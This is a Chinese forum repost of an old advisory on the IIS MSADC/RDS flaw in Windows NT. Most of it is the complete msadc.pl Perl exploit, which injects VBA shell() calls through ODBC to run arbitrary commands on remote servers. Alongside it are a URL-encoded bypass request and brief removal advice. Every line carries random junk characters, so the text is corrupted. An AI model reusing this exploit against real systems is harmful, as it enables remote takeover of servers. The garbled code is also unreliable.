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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3ly|y{M",  
|{(ynZ]R  
涉及程序: KAGq\7  
Microsoft NT server lK0coj1+  
*(J<~:V?  
描述: cD]t%`*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 }N NyUwFa  
Z3Y%VHB_F(  
详细: pmZr<xs   
如果你没有时间读详细内容的话,就删除: n$>H}#q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |dO1w.x/  
有关的安全问题就没有了。 9S}PCAA;  
a[!':-R`s  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :Fh* 4 &Z  
:hr%iu  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \VW.>@s~  
关于利用ODBC远程漏洞的描述,请参看: wp$=lU{B  
:gmVX}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  c`TgxMu  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Rh39x-`Z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp SRMy#j-  
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这里不再论述。 iIg_S13  
,+XQ!y%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Z|u_DaSrr|  
) E5ax~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0 }q/VH57  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! nG2RBeJV  
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9.<$&mVk7`  
#将下面这段保存为txt文件,然后: "perl -x 文件名" l#Iof)@#  
M C>{I3  
#!perl `*! .B  
# r3|vu"Uei  
# MSADC/RDS 'usage' (aka exploit) script 3=` UX  
# <~3@+EEM  
# by rain.forest.puppy uu HWN|  
# wEk9(|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UJO+7h'  
# beta test and find errors! dz?:)5>I  
CpA=DnZ  
use Socket; use Getopt::Std; j5AW}   
getopts("e:vd:h:XR", \%args); 6x_8m^+m  
}V 09tK/M  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a &j H9  
?=aQG0  
if (!defined $args{h} && !defined $args{R}) { iYFM@ta  
print qq~ Xod#$'M>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } N'IzHyo.  
-h <host> = host you want to scan (ip or domain) th !Gc  
-d <seconds> = delay between calls, default 1 second Dzb@H$BQ7  
-X = dump Index Server path table, if available ;vuok]@  
-v = verbose V;9.7v  
-e = external dictionary file for step 5 w<>B4m\  
Tk)y*y  
Or a -R will resume a command session yYF%U7N/n  
+hi!=^b]  
~; exit;} x-cg df  
}{HlY?S  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; F@[l&`7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} MK,#"Ty}zK  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  T=9+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); o[aRG7C  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8H;yrNL  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ee^2stc-  
*IfLoKS'  
if (!defined $args{R}){ $ret = &has_msadc; 1#6c sZW5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #TXgV0\F  
p v%`aQ]o{  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" .*i.Z   
. "cmd /c "; OUQySac  
$in=<STDIN>; chomp $in; sZA7)Z`7  
$command="cmd /c " . $in ; U%_BgLwy%  
g=Rl4F]  
if (defined $args{R}) {&load; exit;} lh{U@,/  
AKu]c-  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; l*^c?lp)  
&try_btcustmr; "K;f[&xO,o  
Bz!SZpW(M  
print "\nStep 2: Trying to make our own DSN..."; ,'Zs")Ydp  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }I`"$2   
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print "\nStep 3: Trying known DSNs..."; ,Y  ./9F  
&known_dsn; }}G`yfs}r  
4zzJ5,S1  
print "\nStep 4: Trying known .mdbs..."; [`2V!rU  
&known_mdb; "V'<dn  
5bBY[qp  
if (defined $args{e}){ #%5[8~&  
print "\nStep 5: Trying dictionary of DSN names..."; eaB6e@]@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7wKT:~~oS3  
}xJ ).D  
print "Sorry Charley...maybe next time?\n"; '(fQtQ%  
exit; <5BNcl\ZL  
b v5BV  
############################################################################## yzWVUqtXm  
@^R6}qJ  
sub sendraw { # ripped and modded from whisker pV[SY6/  
sleep($delay); # it's a DoS on the server! At least on mine... C( wZj O?N  
my ($pstr)=@_; ON [F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  r"YOA@  
die("Socket problems\n"); M$,4B  
if(connect(S,pack "SnA4x8",2,80,$target)){ Zmx[:-  
select(S); $|=1; &uP,w#  
print $pstr; my @in=<S>; <!;NJLe`  
select(STDOUT); close(S); v-(dh5e` H  
return @in; vX30Ijm  
} else { die("Can't connect...\n"); }} *{<46 0`!q  
CT{mzC8  
############################################################################## erlg\-H   
L+ K,Y:D!W  
sub make_header { # make the HTTP request  }o[N B  
my $msadc=<<EOT T\v~"pMu*0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #V9do>Cu%  
User-Agent: ACTIVEDATA 4p<c|(f#  
Host: $ip T0|hp7WM  
Content-Length: $clen _*w kTI+j  
Connection: Keep-Alive FQ_a= v  
adY ,Nz  
ADCClientVersion:01.06 =j^>sg]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 YgV"*~  
}y>/#]X  
--!ADM!ROX!YOUR!WORLD! -J":'xCP!  
Content-Type: application/x-varg I+eKuWB  
Content-Length: $reqlen a! gj_  
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EOT \ORE;pG  
; $msadc=~s/\n/\r\n/g; v`&>m '  
return $msadc;} \ lW*.<  
c8h71Cr  
############################################################################## 1EMrXnv,  
T&ib]LmR  
sub make_req { # make the RDS request yYH>~,  
my ($switch, $p1, $p2)=@_; ;iA$yw:  
my $req=""; my $t1, $t2, $query, $dsn; BD2Gv)?g  
Owz>g4l r  
if ($switch==1){ # this is the btcustmr.mdb query -&h<t/U  
$query="Select * from Customers where City=" . make_shell(); '$h0l-mQ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *#.Ku(C+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} jO.c>C[?  
mXT{c=N)w  
elsif ($switch==2){ # this is general make table query g?rK&UTU  
$query="create table AZZ (B int, C varchar(10))"; )O,+'w?  
$dsn="$p1";} wvI}|c  
Bq~?!~\?.  
elsif ($switch==3){ # this is general exploit table query k $E{'Dv  
$query="select * from AZZ where C=" . make_shell(); G&q@B`I  
$dsn="$p1";} LG vPy  
>P}6/L  
elsif ($switch==4){ # attempt to hork file info from index server ^Sc48iDc  
$query="select path from scope()"; :M$8<03>F  
$dsn="Provider=MSIDXS;";} 7I0K= 'D7  
_| >bOI  
elsif ($switch==5){ # bad query yK>s]65&  
$query="select"; NKYHJf2?x  
$dsn="$p1";} vv1W<X0e<  
^. ~ F_  
$t1= make_unicode($query); }g"K\x:Z  
$t2= make_unicode($dsn); 5XZ\7Z|  
$req = "\x02\x00\x03\x00"; 3J[ 5^  
$req.= "\x08\x00" . pack ("S1", length($t1)); *#Iqz9X.Y3  
$req.= "\x00\x00" . $t1 ; s;,ulME  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6oLZH6fG  
$req.= "\x00\x00" . $t2 ; pAH 9  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; a;v;%rs  
return $req;} b/UjKNf@  
|#5_VEG  
############################################################################## `7Dj}vVu  
i&Me7=~  
sub make_shell { # this makes the shell() statement 84c[Z   
return "'|shell(\"$command\")|'";} +~?K@n  
2(>=@q.1H  
############################################################################## H8$";T(I  
@l?2",  
sub make_unicode { # quick little function to convert to unicode +||[H)qym  
my ($in)=@_; my $out; W4S]2P>T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u\@ L|rh  
return $out;} fj[tm  
EK}QjY[i  
############################################################################## ; Rd\yAG  
l?zWi[Zf  
sub rdo_success { # checks for RDO return success (this is kludge) y0 qq7Dmu  
my (@in) = @_; my $base=content_start(@in); Ffr6P }I  
if($in[$base]=~/multipart\/mixed/){ 6EkD(w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 3L%g2`  
return 0;} &:Sb$+z  
1~9AQ[]w8  
############################################################################## .iH#8Z  
OuU]A[r  
sub make_dsn { # this makes a DSN for us Xj;5i Vq  
my @drives=("c","d","e","f"); %M;{+90p>t  
print "\nMaking DSN: "; ATf{;S}  
foreach $drive (@drives) { "6P-0CJ  
print "$drive: "; *,p16"Q;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fSzX /r  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -~imxPmZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); b}jLI_R{  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; aoS]Qp  
return 0 if $2 eq "404"; # not found/doesn't exist ! jb{q bq  
if($2 eq "200") { T#w *5Qf  
foreach $line (@results) { kC2_&L  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -}r(75C  
} return 0;} Is !DiB  
o*1t)HL<  
############################################################################## 7Om)uUjU4  
R7!^ M  
sub verify_exists { "6%vVi6  
my ($page)=@_; ,JmA e6  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2 -M]!x)  
return $results[0];} B^G{k3]t  
=rDIU&0Y  
############################################################################## !T 3 Esv  
y i/jZX  
sub try_btcustmr { )04lf*ti  
my @drives=("c","d","e","f"); 5-pz/%,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `?L-{VtM3*  
eX>X=Ku  
foreach $dir (@dirs) { [ {B1~D-  
print "$dir -> "; # fun status so you can see progress Epm=&6zf  
foreach $drive (@drives) { D?_#6i;DJ  
print "$drive: "; # ditto P'6(HT>F?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; K*Tvo `  
$reqlenlen=length( "$reqlen" ); __V6TDehJ$  
$clen= 206 + $reqlenlen + $reqlen; k&P_ c  
')w*c  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); jsvD[\P  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} :{tvAdMl7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} B$)6X  
ngN_,x 7yc  
############################################################################## ]-aeoa#  
0R2 AhA#  
sub odbc_error { a".uS4x  
my (@in)=@_; my $base; VQvl,'z  
my $base = content_start(@in); B"I> mw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this K/u`W z~A  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K5)G+Id*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r\"O8\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 97Qng*i  
return $in[$base+4].$in[$base+5].$in[$base+6];} 2eu`X2IBcT  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <8 At =U  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 05MtQB   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} J7.bFW'  
#?i#q%q  
############################################################################## v) q6  
!DCJ2h%E[_  
sub verbose { +2w54X%?M  
my ($in)=@_; O`dob&C  
return if !$verbose; ,\DB8v6l\A  
print STDOUT "\n$in\n";} W &4`eB/4}  
 #~.i\|VL  
############################################################################## *ma/_rjK  
"ngYh]Git$  
sub save { tb0XXE E  
my ($p1, $p2, $p3, $p4)=@_; %`}CbD6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; .KT+,Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _:'m/K3Ee  
close OUT;} RQ{w`> K  
^;s`[f|w  
############################################################################## ja7Z v[  
}C7tlA8,7  
sub load { Bw*z4qb{yH  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;^DUtr ;  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 9$Mi/eLG2N  
@p=<IN>; close(IN); >W'SG3Hmc  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ].dTEzL9X  
$target= inet_aton($ip) || die("inet_aton problems"); *-|+phi m  
print "Resuming to $ip ..."; Ti3BlWQH  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; u."fJ2}l0X  
if($p[1]==1) { MmWJYF=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L''0`a. +S  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F`I-G~e  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +H&_Z38n  
if (rdo_success(@results)){print "Success!\n";} % C 3jxt  
else { print "failed\n"; verbose(odbc_error(@results));}} 6eDIS|/  
elsif ($p[1]==3){ 6>=>Yj  
if(run_query("$p[3]")){ ;7`<.y  
print "Success!\n";} else { print "failed\n"; }} Rc6 )v  
elsif ($p[1]==4){ Y[~6f,?^  
if(run_query($drvst . "$p[3]")){ eF8`an5S  
print "Success!\n"; } else { print "failed\n"; }} 5h:SH]tn8]  
exit;} o@>c[knJ  
U[A*A^$c}  
############################################################################## u=E?N:I~F  
TLSy+x_gX  
sub create_table { R ^B2J+O  
my ($in)=@_; k@8#Byl|  
$reqlen=length( make_req(2,$in,"") ) - 28; %o"Rcw|  
$reqlenlen=length( "$reqlen" ); Ar<OP'C  
$clen= 206 + $reqlenlen + $reqlen; <go~WpA|r  
my @results=sendraw(make_header() . make_req(2,$in,"")); <,E*,&0W  
return 1 if rdo_success(@results); 2 !;4mij,  
my $temp= odbc_error(@results); verbose($temp); #Y5I_:k  
return 1 if $temp=~/Table 'AZZ' already exists/; gw*d"~A  
return 0;} <;6])  
$k`8Zx w  
############################################################################## -8tA~;p  
 ,g,jY]o  
sub known_dsn { D+SpSO7yg  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go jVA~]a  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <y.D0^68  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", M)J*Df0@  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); dJLJh*=AG  
'!.;(Jo  
foreach $dSn (@dsns) { tH'VV-!MZ  
print "."; okcl-q  
next if (!is_access("DSN=$dSn")); r/4]b]n  
if(create_table("DSN=$dSn")){ {;4PP463  
print "$dSn successful\n"; z;/'OJ[.  
if(run_query("DSN=$dSn")){ *n*y!z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U2AGH2emw  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 2 T3DV])Q  
m@,>d_|-K-  
############################################################################## AfEEYP)N  
xI<dBg|]+  
sub is_access { 6g"<i}_|  
my ($in)=@_; _#4,&bh8  
$reqlen=length( make_req(5,$in,"") ) - 28; - X_w&  
$reqlenlen=length( "$reqlen" ); gr?pvf!I  
$clen= 206 + $reqlenlen + $reqlen; {@#L'i|  
my @results=sendraw(make_header() . make_req(5,$in,"")); YW{V4yW  
my $temp= odbc_error(@results); AY;+Ws  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *_QHtZG  
return 0;} JKT+ q*V  
]-'9|N*}l  
############################################################################## e 1loI8  
LgNNtZ&F  
sub run_query { )A0&16<  
my ($in)=@_; 3rY /6{  
$reqlen=length( make_req(3,$in,"") ) - 28; Z]S0AB.Z@  
$reqlenlen=length( "$reqlen" ); x!~OK::o8  
$clen= 206 + $reqlenlen + $reqlen; +2}(]J=-  
my @results=sendraw(make_header() . make_req(3,$in,"")); ? 03Zy3 /  
return 1 if rdo_success(@results); V 3]p3  
my $temp= odbc_error(@results); verbose($temp); mG~y8nUtp  
return 0;} t60/f&A#7H  
9,5II0N L  
############################################################################## (<C%5xk  
ZY!pw6R1>*  
sub known_mdb { &{/>Sv!6#  
my @drives=("c","d","e","f","g"); \.1b\\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >1U@NK)HfY  
my $dir, $drive, $mdb; $JB:rozE  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?+O|mX}`-  
L[G\+   
# this is sparse, because I don't know of many I*t)x,~3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 'D"K`Vw  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lq8ko@  
"\\system32\\certmdb.mdb", I!7.fuO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c;rp@_ULG?  
q7 oR9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ZU.)K>'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xnQGCw?S&}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8*#][ wC2  
"\\cfusion\\cfapps\\security\\realm_.mdb", ; 9 &1JX  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", To8v#.i  
"\\cfusion\\database\\cfexamples.mdb", uP=_-ZUW  
"\\cfusion\\database\\cfsnippets.mdb", Z^`=!n-V  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #or oY.o  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]t*P5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", K@ sP~('  
"\\cfusion\\database\\smpolicy.mdb", Pv-V7`{  
"\\cfusion\\database\cypress.mdb", ua|Z`qUyq  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", h NOYFH  
"\\website\\cgi-win\\dbsample.mdb", 0"<;You  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~R?dDL  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D@(M+u9/%  
); #these are just g. Caapy  
foreach $drive (@drives) { FX|lhwmc(  
foreach $dir (@dirs){ t6%xit+  
foreach $mdb (@sysmdbs) { [OoH5dD  
print "."; ,Z*3,/a  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ WQLHjGehe  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; a,57`Ks+n<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ :Y J7J4  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  `\|3 ~_v  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [rUh;_b\D  
3n84YX{  
foreach $drive (@drives) { :&1=8^BY  
foreach $mdb (@mdbs) { i9@;,4f  
print "."; hKH$AEHEU}  
if(create_table($drv . $drive . $dir . $mdb)){ ,'1Olu{v[s  
print "\n" . $drive . $dir . $mdb . " successful\n"; emkMR{MY  
if(run_query($drv . $drive . $dir . $mdb)){ Z}K.^\S9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >0<KkBH  
} else { print "Something's borked. Use verbose next time\n"; }}}} S1az3VJI\  
} 0(hv#C4  
WJY4>7}{B@  
############################################################################## /8WpX  
Xv-1PY':pA  
sub hork_idx { ^iV`g?z  
print "\nAttempting to dump Index Server tables...\n"; wHt#'`5  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Oa.f~|  
$reqlen=length( make_req(4,"","") ) - 28; RvPniT(<?  
$reqlenlen=length( "$reqlen" );  $||ns@F+  
$clen= 206 + $reqlenlen + $reqlen; N[a ljC-R  
my @results=sendraw2(make_header() . make_req(4,"","")); qr'x0r|<>  
if (rdo_success(@results)){ BDm88< ]  
my $max=@results; my $c; my %d; z)ft3(!  
for($c=19; $c<$max; $c++){ (?!(0Ywbg  
$results[$c]=~s/\x00//g; co$Hi9JE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }1a<{&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1Es*=zg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 7z/(V\9B  
$d{"$1$2"}="";} R8=I)I-8  
foreach $c (keys %d){ print "$c\n"; } _uO!N(k.  
} else {print "Index server doesn't seem to be installed.\n"; }} y~== waZw  
}&Wp3EWw  
############################################################################## (^DLCP#*  
j.=UI-&m  
sub dsn_dict { k9^+9P^L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7x[LF ^o  
while(<IN>){ ,>bGbx  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H )BOSZD  
next if (!is_access("DSN=$dSn")); Sc;iAi (  
if(create_table("DSN=$dSn")){ F,p`- m[q  
print "$dSn successful\n"; lgkl? 0!  
if(run_query("DSN=$dSn")){ u( V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0`VD!_`  
print "Something's borked. Use verbose next time\n";}}} @9}),hl`  
print "\n"; close(IN);} TIcd _>TW  
(R4PD  
############################################################################## )z2|"Lp  
EX`"z(L  
sub sendraw2 { # ripped and modded from whisker Lv `#zgo_f  
sleep($delay); # it's a DoS on the server! At least on mine... P &;y] ,)E  
my ($pstr)=@_; :r1;}hIA9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N3uMkH-<  
die("Socket problems\n"); UJee&4C-y  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ys"|</;dbj  
print "Connected. Getting data"; Zi 2o  
open(OUT,">raw.out"); my @in; }1U#Ve,=_  
select(S); $|=1; print $pstr; 2Pbe~[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |ZvNH ~!  
close(OUT); select(STDOUT); close(S); return @in; $x?NNS_ "J  
} else { die("Can't connect...\n"); }} [<]Y+33  
rPRrx-A  
############################################################################## [8,PO  
6-mmi7IfO  
sub content_start { # this will take in the server headers I\}|Y+C$d/  
my (@in)=@_; my $c; ^y:FjQC:  
for ($c=1;$c<500;$c++) { |BwRlE2CFO  
if($in[$c] =~/^\x0d\x0a/){  uY.=4l  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } c5X`_  
else { return $c+1; }}} E|pk.  
return -1;} # it should never get here actually 1|o$X  
.CVUEK@Z4  
############################################################################## Up<~0  
\.c]kG>k-  
sub funky { |J:$MX~  
my (@in)=@_; my $error=odbc_error(@in); ;(K  
if($error=~/ADO could not find the specified provider/){ aGpCNc{+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }KK2WJp#M  
exit;} \M7I&~V  
if($error=~/A Handler is required/){ u FMIY(vB  
print "\nServer has custom handler filters (they most likely are patched)\n"; fs&,w  
exit;} -g:lOht  
if($error=~/specified Handler has denied Access/){ 3DH.4@7P  
print "\nServer has custom handler filters (they most likely are patched)\n"; |</"N-#S  
exit;}} CE{z-_{ ^  
Q4X7Iu:  
############################################################################## Z)/6??/R  
L{=l#vu  
sub has_msadc { x ;Gz6|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [!G)$<  
my $base=content_start(@results); ^"1TPd|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); !L77y^oV  
return 0;} Y[Es  
M:_!w[NiLp  
######################## )%s +?  
_().t5<  
cqEHYJ;B  
解决方案: tevQW  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Sr&T[ex,.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 /&h+t^l_Qj  
,d|vP)SS  
拿出来充数 哈哈
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